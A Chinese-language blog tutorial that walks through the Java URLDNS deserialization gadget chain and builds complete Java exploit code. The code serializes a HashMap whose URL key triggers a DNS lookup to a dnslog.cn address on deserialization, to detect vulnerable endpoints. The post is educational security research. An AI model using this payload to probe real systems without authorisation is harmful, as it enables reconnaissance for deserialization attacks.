Java安全 URLDNS链分析
Java安全 URLDNS链分析
- 什么是URLDNS链
- URLDNS链分析
- 调用链路
- HashMap类分析
- URL类分析
- exp编写
- 思路整理
- 初步exp
- exp改进
- 最终exp
什么是URLDNS链
URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多
URLDNS链分析
调用链路
Gadget Chain:HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()
HashMap类分析
我们来到 HashMap.java文件,查看HashMap类的readObject方法,代码如下
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}
我们看下该方法的最后一行代码
putVal(hash(key), key, value, false, false);
发现调用了对 key变量 调用了该类里里面的hash函数,然后我们分析下key参数是怎么获得的
通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的键复制给key变量
K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键
K key = (K) s.readObject();
我们再看下 hash 函数是如何对key处理的,我们在HashMap类中找到hash函数代码如下
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
经分析,只要我们的key对象,也就是传入map的键不为空,就会执行h = key.hashCode(),也就是执行key对象里的hashCode()方法
URL类分析
这里接上文,假设我们传入map中的key为URL对象,那么便调用URL类中的hashCode()方法,我们看下这个方法的代码
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}
这里看到,只要 hashCode = -1的话,那么便会执行handler.hashCode(this);,我们去看下 hashcode 属性是怎么定义的
private int hashCode = -1;
我们发现 hashcode 的初始值为 -1,也就是默认执行handler.hashCode(this);,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:handler属性代表了URLStreamHandler类的临时对象
transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化
经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法
this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员
那我们去URLStreamHandler类当中,查看下hashCode方法的代码
protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}
我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行InetAddress addr = getHostAddress(u);,并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)
getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问
exp编写
思路整理
根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接的URL对象,然后作为键传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问
初步exp
现在的exp大体如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {HashMap map = new HashMap();URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址map.put(url,"114");//键值用不到,随便设置try {FileOutputStream outputStream = new FileOutputStream("./2.ser");ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();FileInputStream inputStream = new FileInputStream("./2.ser");ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}}
}
我们在第13行打个断点,也就是try的这一行

然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析

正是下面这一行代码导致了url的提前解析
map.put(url,"114");//键值用不到,随便设置
我们去看下map(HashMap类)的put方法,代码如下
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
我们发现,这个put方法和readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析
return putVal(hash(key), key, value, false, true);
下面是这两个方法的语句对比可以看到是一模一样的
put方法:

readObject方法:
需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析
我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义
private int hashCode = -1;
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}
可以看到只有当 hashCode = -1时,才会执行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,执行return hashCode;,最终到这里就断掉了,无法触发DNS解析
exp改进
那怎么办呢?
我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);
通过反射我们可以动态修改一个对象中的属性和方法
最终exp
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {public static void main(String[] args) throws Exception {HashMap map = new HashMap();URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址Class clas = url.getClass();Field field = clas.getDeclaredField("hashCode");field.setAccessible(true);field.set(url,123); //将url的hashcode属性改为123使其不等于-1map.put(url,"2333"); //这里的value用不上,随便设置field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcodetry {//序列化FileOutputStream outputStream = new FileOutputStream("./2.ser");ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();//反序列化,此时触发dns请求FileInputStream inputStream = new FileInputStream("./2.ser");ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}}
}
我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)
我们在断点处继续执行,可以看到反序列化成功触发了DNS解析

相关文章:
Java安全 URLDNS链分析
Java安全 URLDNS链分析 什么是URLDNS链URLDNS链分析调用链路HashMap类分析URL类分析 exp编写思路整理初步expexp改进最终exp 什么是URLDNS链 URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但…...
【网站项目】026校园美食交流系统
🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板ÿ…...
使用raw.gitmirror.com替换raw.githubusercontent.com以解决brew upgrade python@3.12慢的问题
MacOS系统上,升级python3.12时,超级慢,而且最后还失败了。看了日志,发现是用curl从raw.githubusercontent.com上下载Python安装包超时了。 解决方案一:开启翻墙工具,穿越围墙 解决方案二:使用…...
深度学习的进展
#深度学习的进展# 深度学习的进展 深度学习是人工智能领域的一个重要分支,它利用神经网络模拟人类大脑的学习过程,通过大量数据训练模型,使其能够自动提取特征、识别模式、进行分类和预测等任务。近年来,深度学习在多个领域取得…...
[高性能] - 缓存架构
对于交易系统来说,低延时是核心业务的基本要求。因此需要对业务进行分级,还需要对数据按质量要求进行分类,主要包含两个维度:重要性,延时要求,数据质量。共包含以下三种场景: 1. 重要 延时性要…...
django实现外键
一:介绍 在Django中,外键是通过在模型字段中使用ForeignKey来实现的。ForeignKey字段用于表示一个模型与另一个模型之间的多对一关系。这通常用于关联主键字段,以便在一个模型中引用另一个模型的相关记录。 下面是一个简单的例子࿰…...
飞天使-k8s知识点14-kubernetes散装知识点3-Service与Ingress服务发现控制器
文章目录 Service与Ingress服务发现控制器存储、配置与角色 Service与Ingress服务发现控制器 在 Kubernetes 中,Service 和 Ingress 是两种不同的资源类型,它们都用于处理网络流量,但用途和工作方式有所不同。Service 是 Kubernetes 中的一个…...
任务调度
1.学习目标 1.1 定时任务概述 1.2 jdk实现任务调度 1.3 SpringTask实现任务调度 1.4 Spring-Task 分析 1.5 Cron表达式 https://cron.qqe2.com/ 2. Quartz 基本应用 2.1 Quartz 基本介绍 2.2 Quartz API介绍 2.3 入门案例 <dependency> <groupId>org.springframe…...
深刻反思现代化进程:20世纪与21世纪的比较分析及东西方思想家的贡献
深刻反思现代化进程:20世纪与21世纪的比较分析及东西方思想家的贡献 摘要:随着人类社会的快速发展,现代化已成为全球范围内的普遍追求。然而,20世纪至21世纪的现代化进程并非一帆风顺,它伴随着环境破坏、社会不平等和文…...
【FTP讲解】
FTP讲解 1. 介绍2. 工作原理3. 传输模式4. 安全5. 设置FTP服务器6. FTP命令 1. 介绍 FTP(File Transfer Protocol)是“文件传输协议”的英文缩写,它是用于在网络上进行数据传输的一种协议。FTP是因特网上使用最广泛的协议之一,它…...
java面试题整理
2023.2.14(第二天) 数组是不是对象? 在Java中,数组是对象。数组是一种引用类型,它可以存储固定大小的相同类型的元素序列。在Java中,数组是通过new关键字创建的,它们在内存中被分配为对象&…...
探索NLP中的N-grams:理解,应用与优化
简介 n-gram[1] 是文本文档中 n 个连续项目的集合,其中可能包括单词、数字、符号和标点符号。 N-gram 模型在许多与单词序列相关的文本分析应用中非常有用,例如情感分析、文本分类和文本生成。 N-gram 建模是用于将文本从非结构化格式转换为结构化格式的…...
JAVA-数组乱序
实现步骤 假设有一组数组numbers从数组中最后一个元素开始遍历设置一个随机数作为循环中遍历到的元素之前的所有元素的下标,即可从该元素之前的所有元素中随机取出一个每次将随机取出的元素与遍历到的元素交换,即可完成乱序 实例如下: im…...
Stable Diffusion 模型下载:majicMIX reverie 麦橘梦幻
本文收录于《AI绘画从入门到精通》专栏,专栏总目录:点这里。 文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八案例九案例十...
Java开发四则运算-使用递归和解释器模式
使用递归和解释器模式 程序结构设计具体实现1. 先上最重要的实现类:ExpressionParser(最重要)2. 再上上下文测试代码:Context(程序入口,稍重要)3. 使用到的接口和数据结构(不太重要的…...
[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析
先看网页 代码审计: error_reporting(0); :关闭报错,代码的错误将不会显示 highlight_file(__FILE__); :将当前文件的源代码显示出来 eval($_GET[url]); :将url的值作为php代码执行 解题: 题目既然允许…...
5.深入理解箭头函数 - JS
什么是箭头函数? 箭头函数是指通过箭头函数表达式创建的函数,是匿名函数。 箭头函数表达式的语法更简洁,但语义有差异,所以用法上也有一些限制。尽管如此,箭头函数依旧被广泛运用在需要执行“小函数”的场景。 箭头…...
高效的工作学习方法
1.康奈尔笔记法 在这里插入图片描述 2. 5W2H法 3. 鱼骨图分析法 4.麦肯锡7步分析法 5.使用TODOLIST 6.使用计划模板(年月周) 7. 高效的学习方法 成年人的学习特点: 快速了解一个领域方法 沉浸式学习方法: 沉浸学习的判据&am…...
【MySQL】-17 MySQL综合-3(MySQL创建数据库+MySQL查看数据库+MySQL修改数据库+MySQL删除数据库+MySQL选择数据库)
MySQL创建数据库查看数据库修改数据库删除数据库选择数据库 一 MySQL创建数据库实例1:最简单的创建 MySQL 数据库的语句实例2:创建 MySQL 数据库时指定字符集和校对规则 二 MySQL查看或显示数据库实例1:查看所有数据库实例2:创建并…...
【教学类-46-08】20240212立体鱼1.0
前期做了一个立体春字 作品展示 背景需求: 在南浔古镇的非遗文化馆里看到一个新年活动折纸——年年有鱼挂饰 我从网上搜索教程,完全可以用15*15的手工纸给孩子们做一套。 折纸教程 视频暂时不能查看https://haokan.baidu.com/v?pdwisenatural&vid1…...
基于数字孪生的水厂可视化平台建设:架构与实践
分享大纲: 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年,数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段,基于数字孪生的水厂可视化平台的…...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
DiscuzX3.5发帖json api
参考文章:PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下,适配我自己的需求 有一个站点存在多个采集站,我想通过主站拿标题,采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...
何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡
何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡 背景 我们以建设星云智控官网来做AI编程实践,很多人以为AI已经强大到不需要程序员了,其实不是,AI更加需要程序员,普通人…...
LangChain【6】之输出解析器:结构化LLM响应的关键工具
文章目录 一 LangChain输出解析器概述1.1 什么是输出解析器?1.2 主要功能与工作原理1.3 常用解析器类型 二 主要输出解析器类型2.1 Pydantic/Json输出解析器2.2 结构化输出解析器2.3 列表解析器2.4 日期解析器2.5 Json输出解析器2.6 xml输出解析器 三 高级使用技巧3…...
基于Java项目的Karate API测试
Karate 实现了可以只编写Feature 文件进行测试,但是对于熟悉Java语言的开发或是测试人员,可以通过编程方式集成 Karate 丰富的自动化和数据断言功能。 本篇快速介绍在Java Maven项目中编写和运行测试的示例。 创建Maven项目 最简单的创建项目的方式就是创建一个目录,里面…...
【Redis】Redis从入门到实战:全面指南
Redis从入门到实战:全面指南 一、Redis简介 Redis(Remote Dictionary Server)是一个开源的、基于内存的键值存储系统,它可以用作数据库、缓存和消息代理。由Salvatore Sanfilippo于2009年开发,因其高性能、丰富的数据结构和广泛的语言支持而广受欢迎。 Redis核心特点:…...
C++课设:实现本地留言板系统(支持留言、搜索、标签、加密等)
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、项目功能概览与亮点分析1. 核心功能…...
